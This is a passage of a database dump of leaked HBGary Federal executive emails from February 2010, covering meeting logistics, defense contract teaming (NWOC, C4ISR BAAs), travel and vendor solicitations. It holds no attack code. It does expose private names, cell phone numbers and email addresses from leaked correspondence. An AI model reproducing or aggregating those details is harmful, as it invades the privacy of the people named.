01:24:05 -0500To: Rich Cummings&lt;rich@hbgary.com&gt;Subject: MeetRich,\r\nI am just down the road.  I can meet at 8 or 830...you tell me.  830 will only give us about 15min before we have to hit the road for Mantech.Can you bring a windows box?\r\nLets meet at:Starbucks8381 Leesburg Pike\r\nVienna, VA 22182\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n',10695,'aaron_hbgary_com/10695.html'),(2003,'2010-02-04','rich@hbgary.com','/aaron@hbgary.com/new/1297000792.M493565P3547Q2003.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meet','Traffic sux today prob more like 830 now. Sent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 4 Feb 2010 07:47:09 -0500To: rich@hbgary.com&lt;rich@hbgary.com&gt;Subject: Re: MeetSame here.  Kids always run ya late.From my iPhoneOn Feb 4, 2010, at 7:46 AM, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt; wrote:\r\nI can be there by 815-ish.  Sent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 4 Feb 2010 01:24:05 -0500To: Rich Cummings&lt;rich@hbgary.com&gt;Subject: MeetRich,\r\nI am just down the road.  I can meet at 8 or 830...you tell me.  830 will only give us about 15min before we have to hit the road for Mantech.Can you bring a windows box?\r\nLets meet at:Starbucks8381 Leesburg Pike\r\nVienna, VA 22182\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',16825,'aaron_hbgary_com/16825.html'),(2004,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000792.M675180P3547Q2004.eml','rich@hbgary.com','Re: Meet','No worries.  I&#39;ll be sucking down caffeine.From my iPhoneOn Feb 4, 2010, at 8:09 AM, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt; wrote:\r\nTraffic sux today prob more like 830 now. Sent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 4 Feb 2010 07:47:09 -0500To: rich@hbgary.com&lt;rich@hbgary.com&gt;Subject: Re: Meet\r\nSame here.  Kids always run ya late.From my iPhoneOn Feb 4, 2010, at 7:46 AM, &quot;rich@hbgary.com&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\nI can be there by 815-ish.  Sent from my Verizon Wireless BlackBerryFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 4 Feb 2010 01:24:05 -0500To: Rich Cummings&lt;rich@hbgary.com&gt;Subject: Meet\r\nRich,\r\nI am just down the road.  I can meet at 8 or 830...you tell me.  830 will only give us about 15min before we have to hit the road for Mantech.Can you bring a windows box?\r\n\r\nLets meet at:Starbucks8381 Leesburg Pike\r\n\r\nVienna, VA 22182\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n',8307,'aaron_hbgary_com/8307.html'),(2005,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000798.M348717P3547Q2005.eml','\"John Farrell\" <john@endgames.us>','Re: AF BAA','Another...\r\n\r\n\r\n\r\nOn Jan 26, 2010, at 11:15 AM, John Farrell wrote:\r\n\r\n> Where is our meeting at 1pm? \r\n> John M Farrell \r\n> VP Federal, Endgame Systems \r\n> 703.622.9025 M\r\n> \r\n> From: Aaron Barr  \r\n> To: John Farrell \r\n> Sent: Tue Jan 26 09:53:31 2010\r\n> Subject: Re: AF BAA \r\n> \r\n> Question.  Maybe you can\'t answer.\r\n> \r\n> I have a very strong relationship with TASC, I used to be a technical director for them.  I am heading out to Colorado Springs next week as I mentioned and one of the meetings I have is with Lawrence Hill (TASC OU Director) and his team, which includes Dan Gutierrez (DepMgr for San Antonio work).  We are going to be talking to him about the NWOC effort, he is going after this work and would like us to be on his team.  He says he has done work with you guys in the past.\r\n> \r\n> Is he your team mate? :)\r\n> \r\n> Aaron\r\n> \r\n> On Jan 26, 2010, at 9:25 AM, John Farrell wrote:\r\n> \r\n>> anything new is a bit uncertain until you build trust with your partners. I think you need to make sure he understands your plans. we\'re very cautious based on the kind of work we\'re doing. It only takes one slip and we\'re done.\r\n>> \r\n>> Here\'s a good example of another company that backfired on them:\r\n>> \r\n>> http://www.nytimes.com/2009/05/31/us/31cyber.html\r\n>> \r\n>> what time do you return on the 3rd? chris leaves from DCA at 6pm.\r\n>> \r\n>> \r\n>> On Jan 26, 2010, at 9:10 AM, Aaron Barr wrote:\r\n>> \r\n>>> Sure makes sense.\r\n>>> \r\n>>> Damn the luck.  I am going to be in Colorado Springs early next week.  I return on the 3rd.  Maybe Chris and I can catch up via phone until his next trip.  Do you think Chris is a little nervous about participating in the consortium?\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> On Jan 26, 2010, at 9:04 AM, John Farrell wrote:\r\n>>> \r\n>>>> I checked with Chris and Ray. It turns out we responded to last year\'s BAA NWOC from the same organization with another partner. They want to remain loyal to this partner if they decide to make a submission this year.\r\n>>>> \r\n>>>> I think you should meet/talk with Chris next week while he\'s in DC to discuss your consortium approach. Before we move ahead to far, I want to ensure they have full understanding of what\'s involved. I can work this into their calendar. Let me know your availability on 2/2. Thanks\r\n>>>> \r\n>>>> John\r\n>>>>  \r\n>>>> \r\n>>>> On Jan 25, 2010, at 11:27 PM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> I agree.  That one is in FBO under N66001-10-X-0012.\r\n>>>>> \r\n>>>>> I think the NWOC one is more a just HBGary, EGS, maybe Xetron offering.\r\n>>>>> \r\n>>>>> the C4ISR BAA I think would be a good fit for our consortium capabilities.\r\n>>>>> \r\n>>>>> What do you think?\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> \r\n>>>>> \r\n>>>>> On Jan 25, 2010, at 10:53 AM, John Farrell wrote:\r\n>>>>> \r\n>>>>>> i have not seen this one yet. I will review and let you know. Of course, we would be very interested in responding as part of your team.\r\n>>>>>> \r\n>>>>>> Have you seen this attached BAA? Might be another one where we could team up.\r\n>>>>>> \r\n>>>>>> thanks\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> On Jan 25, 2010, at 10:46 AM, Aaron Barr wrote:\r\n>>>>>> \r\n>>>>>>> Hey John,\r\n>>>>>>> \r\n>>>>>>> Are you guys responding to this?  Want to go after it together?  I picture a combined capability with yours, what HBGary can do and the IO stuff I talked to you about.  Seems like a good combination.\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>> \r\n>>>>>> John M. Farrell\r\n>>>>>> Vice President, Federal\r\n>>>>>> john@endgames.us\r\n>>>>>> 703.622.9025\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> John M. Farrell\r\n>>>> Vice President, Federal\r\n>>>> john@endgames.us\r\n>>>> 703.622.9025\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> John M Farrell\r\n>> VP Federal \r\n>> Endgame Systems\r\n>> 75 5th Street Suite 208\r\n>> Atlanta, GA 30308\r\n>> john@endgames.us\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9019,'aaron_hbgary_com/9019.html'),(2006,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000800.M907152P3547Q2006.eml','\"John Farrell\" <john@endgames.us>','Re: AF BAA','\r\nOn Jan 26, 2010, at 11:15 AM, John Farrell wrote:\r\n\r\n> Where is our meeting at 1pm? \r\n> John M Farrell \r\n> VP Federal, Endgame Systems \r\n> 703.622.9025 M\r\n> \r\n> From: Aaron Barr  \r\n> To: John Farrell \r\n> Sent: Tue Jan 26 09:53:31 2010\r\n> Subject: Re: AF BAA \r\n> \r\n> Question.  Maybe you can\'t answer.\r\n> \r\n> I have a very strong relationship with TASC, I used to be a technical director for them.  I am heading out to Colorado Springs next week as I mentioned and one of the meetings I have is with Lawrence Hill (TASC OU Director) and his team, which includes Dan Gutierrez (DepMgr for San Antonio work).  We are going to be talking to him about the NWOC effort, he is going after this work and would like us to be on his team.  He says he has done work with you guys in the past.\r\n> \r\n> Is he your team mate? :)\r\n> \r\n> Aaron\r\n> \r\n> On Jan 26, 2010, at 9:25 AM, John Farrell wrote:\r\n> \r\n>> anything new is a bit uncertain until you build trust with your partners. I think you need to make sure he understands your plans. we\'re very cautious based on the kind of work we\'re doing. It only takes one slip and we\'re done.\r\n>> \r\n>> Here\'s a good example of another company that backfired on them:\r\n>> \r\n>> http://www.nytimes.com/2009/05/31/us/31cyber.html\r\n>> \r\n>> what time do you return on the 3rd? chris leaves from DCA at 6pm.\r\n>> \r\n>> \r\n>> On Jan 26, 2010, at 9:10 AM, Aaron Barr wrote:\r\n>> \r\n>>> Sure makes sense.\r\n>>> \r\n>>> Damn the luck.  I am going to be in Colorado Springs early next week.  I return on the 3rd.  Maybe Chris and I can catch up via phone until his next trip.  Do you think Chris is a little nervous about participating in the consortium?\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> On Jan 26, 2010, at 9:04 AM, John Farrell wrote:\r\n>>> \r\n>>>> I checked with Chris and Ray. It turns out we responded to last year\'s BAA NWOC from the same organization with another partner. They want to remain loyal to this partner if they decide to make a submission this year.\r\n>>>> \r\n>>>> I think you should meet/talk with Chris next week while he\'s in DC to discuss your consortium approach. Before we move ahead to far, I want to ensure they have full understanding of what\'s involved. I can work this into their calendar. Let me know your availability on 2/2. Thanks\r\n>>>> \r\n>>>> John\r\n>>>>  \r\n>>>> \r\n>>>> On Jan 25, 2010, at 11:27 PM, Aaron Barr wrote:\r\n>>>> \r\n>>>>> I agree.  That one is in FBO under N66001-10-X-0012.\r\n>>>>> \r\n>>>>> I think the NWOC one is more a just HBGary, EGS, maybe Xetron offering.\r\n>>>>> \r\n>>>>> the C4ISR BAA I think would be a good fit for our consortium capabilities.\r\n>>>>> \r\n>>>>> What do you think?\r\n>>>>> \r\n>>>>> Aaron\r\n>>>>> \r\n>>>>> \r\n>>>>> On Jan 25, 2010, at 10:53 AM, John Farrell wrote:\r\n>>>>> \r\n>>>>>> i have not seen this one yet. I will review and let you know. Of course, we would be very interested in responding as part of your team.\r\n>>>>>> \r\n>>>>>> Have you seen this attached BAA? Might be another one where we could team up.\r\n>>>>>> \r\n>>>>>> thanks\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>>> On Jan 25, 2010, at 10:46 AM, Aaron Barr wrote:\r\n>>>>>> \r\n>>>>>>> Hey John,\r\n>>>>>>> \r\n>>>>>>> Are you guys responding to this?  Want to go after it together?  I picture a combined capability with yours, what HBGary can do and the IO stuff I talked to you about.  Seems like a good combination.\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> Aaron Barr\r\n>>>>>>> CEO\r\n>>>>>>> HBGary Federal Inc.\r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>>> \r\n>>>>>> \r\n>>>>>> John M. Farrell\r\n>>>>>> Vice President, Federal\r\n>>>>>> john@endgames.us\r\n>>>>>> 703.622.9025\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> \r\n>>>>> \r\n>>>>> Aaron Barr\r\n>>>>> CEO\r\n>>>>> HBGary Federal Inc.\r\n>>>>> \r\n>>>>> \r\n>>>>> \r\n>>>> \r\n>>>> John M. Farrell\r\n>>>> Vice President, Federal\r\n>>>> john@endgames.us\r\n>>>> 703.622.9025\r\n>>>> \r\n>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> John M Farrell\r\n>> VP Federal \r\n>> Endgame Systems\r\n>> 75 5th Street Suite 208\r\n>> Atlanta, GA 30308\r\n>> john@endgames.us\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15356,'aaron_hbgary_com/15356.html'),(2007,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000801.M336075P3547Q2007.eml','\"Ted Vera\" <ted@hbgary.com>','Flying','Ur flying 8th?\r\n\r\n From my iPhone\r\n',7063,'aaron_hbgary_com/7063.html'),(2008,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000818.M406893P3547Q2008.eml','\"Penny Leavy\" <penny@hbgary.com>','Fidelis Meeting from 6pm-8pm','Penny,\r\n\r\nWas dinner scheduled or something?  I have a meeting that is showing up on my calendar with Fidelis from 6-8pm.  I also see the first one from 3-5pm.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6866,'aaron_hbgary_com/6866.html'),(2009,'2010-02-04','\"MB Toth\" <mbt.rbtoth@starpower.net>','/aaron@hbgary.com/new/1297000819.M935292P3547Q2009.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <thv31@mac.com>','Google, Vint and Visitors','With Google in the news these days, here\'s Vint Cerf chatting with some \r\nrecent visitors.\r\n',12023,'aaron_hbgary_com/12023.html'),(2010,'2010-02-04','\"Mettala, Erik\" <Erik.Mettala@cobham.com>','/aaron@hbgary.com/new/1297000824.M958152P3547Q2010.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introductions','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Please give me a call ASAP.&nbsp; I&#8217;ve got\r\na scheduling issue, and your phone number is out of reach.&nbsp; Cell works best.\r\n\r\n&nbsp;\r\n\r\nErik\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nErik G. Mettala, Ph.D.\r\n\r\nChief Scientist\r\n\r\nSPARTA National Security Systems Sector\r\n\r\ndba Cobham Analytic Solutions\r\n\r\n7110 Samuel Morse Drive\r\n\r\nColumbia, MD 21046\r\n\r\nwww.sparta.com\r\n\r\nT:&nbsp;443-430-8059\r\n\r\nC: 703-209-2221\r\n\r\nF: 443-430-8208\r\n\r\n&nbsp;\r\n\r\nPlease consider the environment before\r\nprinting this email\r\n\r\nThis e-mail and any files transmitted with it\r\n(&quot;E-mail&quot;) is intended solely for the addressee(s) and may contain\r\nconfidential and/or legally privileged information. If you are not the\r\naddressee(s), any disclosure, reproduction, copying, distribution or other use\r\nof the E-mail is prohibited. If you have received this E-mail in error, please\r\ndelete it and notify the sender immediately via our switchboard or return\r\ne-mail.\r\n\r\nNeither the company nor any subsidiary or affiliate or\r\nassociated company nor any individual sending this E-mail accepts any liability\r\nin respect of the content (including errors and omissions) nor shall this\r\ne-mail be deemed to enter the company or any subsidiary or affiliate or\r\nassociated company into a contract or to create any legally binding obligations\r\nunless expressly agreed to in writing under separate cover and timeliness of\r\nthe E-mail which arise as a result of transmission. If verification is\r\nrequired, please request a hard copy version from the sender.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, February 02, 2010\r\n11:47 AM\r\nTo: Mettala,\r\n Erik\r\nSubject: Re: Introductions\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Erik,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLooking forward to our meeting later this week. &nbsp;I would like to\r\nget an NDA in place between our orgs to discuss freely. &nbsp;Would you like me\r\nto send you ours or want to go with yours, I am good either way.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 27, 2010, at 3:53 PM, Mettala, Erik\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n       \r\n\r\n       \r\n        \r\n       \r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Pleased\r\nto meet you.\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I look\r\nforward to discussing NWOC and other opportunities with you.\r\n\r\n&nbsp;\r\n\r\nErik\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nErik G. Mettala, Ph.D.\r\n\r\n\r\n\r\nChief Scientist\r\n\r\n\r\n\r\nSPARTA National Security Systems Sector\r\n\r\n\r\n\r\ndba Cobham Analytic Solutions\r\n\r\n\r\n\r\n7110 Samuel Morse Drive\r\n\r\n\r\n\r\nColumbia, MD\r\n 21046\r\n\r\n\r\n\r\nwww.sparta.com\r\n\r\n\r\n\r\nT:&nbsp;443-430-8059\r\n\r\n\r\n\r\nC: 703-209-2221\r\n\r\n\r\n\r\nF: 443-430-8208\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPlease consider the environment before\r\nprinting this email\r\n\r\n\r\n\r\nThis e-mail and any files transmitted with it\r\n(&quot;E-mail&quot;) is intended solely for the addressee(s) and may contain\r\nconfidential and/or legally privileged information. If you are not the\r\naddressee(s), any disclosure, reproduction, copying, distribution or other use\r\nof the E-mail is prohibited. If you have received this E-mail in error, please\r\ndelete it and notify the sender immediately via our switchboard or return\r\ne-mail.\r\n\r\n\r\n\r\nNeither the company nor any subsidiary or affiliate or\r\nassociated company nor any individual sending this E-mail accepts any liability\r\nin respect of the content (including errors and omissions) nor shall this\r\ne-mail be deemed to enter the company or any subsidiary or affiliate or\r\nassociated company into a contract or to create any legally binding obligations\r\nunless expressly agreed to in writing under separate cover and timeliness of\r\nthe E-mail which arise as a result of transmission. If verification is\r\nrequired, please request a hard copy version from the sender.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Balenson, David \r\nSent: Wednesday, January 27, 2010\r\n4:02 PM\r\nTo: Aaron\r\n Barr\r\nCc: Balenson, David; Mettala, Erik\r\nSubject: RE: Introductions\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nThank you for your\r\ninquiry. We&#8217;d be happy to exchange capabilities and explore possible ways to\r\nwork together. As I mentioned in my voicemail, tomorrow will be my last day at SPARTA.\r\nPlease follow-up with Erik Mettala, Chief Scientist for SPARTA&#8217;s\r\nNational Security Sector. Erik&#8217;s contact information is erik.mettala@cobham.com, 443-430-8059.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThanks and regards,\r\n\r\n-DB\r\n\r\n&nbsp;\r\n\r\n------------------------------------------------------------------------------------------------\r\n\r\nDavid M. Balenson,\r\nDivision Manager, Security Research\r\n\r\nSPARTA National Security Sector\r\n\r\nCobham Analytic\r\nSolutions\r\n\r\nTel: 443.430.8004\r\n\r\nFax: 443.430.8153\r\n\r\nEmail: David.Balenson@cobham.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 26, 2010\r\n11:23 AM\r\nTo: Balenson, David\r\nSubject: Introductions\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Dave,\r\n\r\n\r\n\r\nI would like to talk to you about\r\nour similar interest in the NWOC BAA. As well I would be interested in getting\r\nan update on your capabilities and likewise get you familiar with ours. I\r\nreceived a briefing more than an year back when I was leading the technical\r\nstrategy for Northrop Grummans cyber campaign. I remember being impressed by\r\nyour amount of IP related to cybersecurity. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3202,'aaron_hbgary_com/3202.html'),(2011,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000825.M239002P3547Q2011.eml','\"Ted Vera\" <ted@hbgary.com>','Manpower','We need to get a req. Out.  Mantech wants to buy HBGary tools with\r\nengineering support through HBGary federal.  They also want our rates.\r\n\r\n\r\n\r\n From my iPhone\r\n',7714,'aaron_hbgary_com/7714.html'),(2012,'2010-02-04','\"Ann Marie Arquilla\" <amarquilla@mavenresearch.com>','/aaron@hbgary.com/new/1297000825.M434817P3547Q2012.eml','\"Aaron\" <aaron@hbgary.com>','Final Reminder: I Have Nominated You for Member  ship in Maven','\r\n\r\n\r\nAaron,\r\n\r\nMy name is Ann Marie Arquilla, and I am an Account Manager at Maven Research. We ran across your contact information and thought you might be interested in becoming a member of the Maven network, through which you will have the opportunity to earn substantial consulting fees by sharing your knowledge with other professionals.\r\nMaven connects knowledge seekers with reputable professionals for paid interactions, including brief Telephone Consultations, Electronic Surveys, and Extended Consulting Projects. Our Clients frequently seek out academics, engineers, resellers, researchers, and other professionals to consult with, and we are willing to pay you at an hourly rate of your choosing to interact with them. Please follow the link below to learn more, and let me know if you have any questions about Maven.\r\n\r\n\r\nClick here to learn more. If the link doesn\'t work, you can copy and paste the text below into your web browser:\r\n\r\nhttp://www.mavenresearch.com/invite/accept/Mnmskp4Y\r\n\r\nAnn Marie\r\n\r\n\r\n\r\nAaron,\r\n\r\nYou have been nominated for Membership in Maven, the Global Knowledge Marketplace. Ann Marie believes that you would be an excellent contributor to Maven. Maven provides a platform for you to profit from what you know by consulting with Maven’s clients, who are researchers willing to pay to gain knowledge on a wide variety of subjects. Because we are all experts in something, we should all have the opportunity to profit from what we know.\r\n\r\nWhy Join Maven? Profit. Researchers will pay to learn about products, technologies, markets, and trends – and while the topics they wish to discuss may be part of the daily grind for you, they are obscure and interesting to others. Maven\'s clients know that the best and most efficient way to learn is not to wander around the Internet for hours, but to talk to knowledgeable professionals with actual real world experience. Maven is the only marketplace that allows you to advertise and share your knowledge directly with those who value it most.\r\n\r\nFurthermore, it’s not just what you know, it’s who you know. Once you become a Member, Maven will pay you ongoing commissions on consulting fees earned by any new Members you introduce to the Maven Knowledge Marketplace.\r\n\r\nBecoming a Maven is free and takes just a few minutes. Once you join, Maven\'s Clients will have the ability to find your knowledge profile (which does not disclose your identity or contact info) and offer you opportunities to share your knowledge via short engagements such as telephone consultations and anonymous surveys. You decide whether to participate in each individual engagement. Of course, you will be compensated for your participation at the hourly rate of your choosing. (How much? Click here to find out.)\r\n\r\nWe encourage you to start building your profile today. If you get interrupted, you can always save your partial profile and return to complete it later. Once you have finished, don’t forget to use the “Earn Dividends” link from within your profile to invite other Mavens and increase your profits.\r\n\r\nClick here to learn more. If the link doesn\'t work, you can copy and paste the text below into your web browser:\r\n\r\nhttp://www.mavenresearch.com/invite/accept/Mnmskp4Y\r\n\r\n\r\n\r\n\r\nAlready a Maven? Click here to add this e-mail address to your Profile.\r\n\r\nNot interested in Maven? Click here and we will remove you from further communications.\r\n\r\n\r\n\r\n&copy; 2010 Maven Research, Inc.; 505 Montgomery Street, 11th Floor, San Francisco, CA 94111',9929,'aaron_hbgary_com/9929.html'),(2013,'2010-02-04','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000825.M750185P3547Q2013.eml','\"Aaron Barr\" <aaron@hbgary.com>','Canceled Event: (No Subject) @ Mon Feb 8 6pm - 8pm (aaron@hbgary.com)','This event has been canceled and removed from your calendar.(No Subject)Meetign with Fidelis to discuss partnershipWhenMon Feb 8 6pm – 8pm Eastern TimeWhereFidelis/Bethesda (map)Calendaraaron@hbgary.comWho&#x2022;penny@hbgary.com - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for cancellations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',9543,'aaron_hbgary_com/9543.html'),(2014,'2010-02-04','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000825.M938060P3547Q2014.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Fidelis Meeting from 6pm-8pm','IT\'s 3-5 I see the double entry.  I have it on my calendar from 12-2.  It\'s\r\nin Bethesda at their office\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, February 04, 2010 5:32 AM\r\nTo: Penny Leavy\r\nSubject: Fidelis Meeting from 6pm-8pm\r\n\r\nPenny,\r\n\r\nWas dinner scheduled or something?  I have a meeting that is showing up on\r\nmy calendar with Fidelis from 6-8pm.  I also see the first one from 3-5pm.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',458,'aaron_hbgary_com/458.html'),(2015,'2010-02-04','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000826.M186290P3547Q2015.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: left Aaron Barr a voice mail after you called me','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom:\r\nshane.sims@us.pwc.com [mailto:shane.sims@us.pwc.com] \r\nSent: Thursday, February 04, 2010 4:13 AM\r\nTo: penny@hbgary.com\r\nSubject: left Aaron Barr a voice mail after you called me\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\njust a fyi\r\n\r\nRegards, Shane \r\n\r\n___________________________________________________________________________________________________________\r\nShane Sims | Advisory - Forensic Services | PricewaterhouseCoopers\r\n| Mobile: 202 262 9735 | shane.sims@us.pwc.com\r\n\r\n\r\nInvestigations\r\n- Crisis Management - Risk Assessments:\r\nCybercrime &amp; Data Theft | Insider Threat | Fraud &amp; Abuse | Money\r\nLaundering | Advanced Due Diligence | FCPA \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThe information transmitted is intended only for the person\r\nor entity to which it is addressed and may contain confidential and/or\r\nprivileged material. Any review, retransmission, dissemination or other use of,\r\nor taking of any action in reliance upon, this information by persons or\r\nentities other than the intended recipient is prohibited. If you received this\r\nin error, please contact the sender and delete the material from any computer.\r\nPricewaterhouseCoopers LLP is a Delaware limited liability partnership.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6773,'aaron_hbgary_com/6773.html'),(2016,'2010-02-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000826.M407011P3547Q2016.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Flying','Whoa -- United ticket is $1682, cheapest I can find is about $800.\r\nAdd hotel and this will be a seriously expensive trip.  Is it worth\r\nit?\r\n\r\n\r\nOn Thu, Feb 4, 2010 at 6:30 AM, Aaron Barr  wrote:\r\n> Ur flying 8th?\r\n>\r\n>  From my iPhone\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',2862,'aaron_hbgary_com/2862.html'),(2017,'2010-02-04','\"Junod, Michael F\" <michael.f.junod@lmco.com>','/aaron@hbgary.com/new/1297000826.M910947P3547Q2017.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Proprietary Information Agreement (PIA) w/ HB Gary Federal re 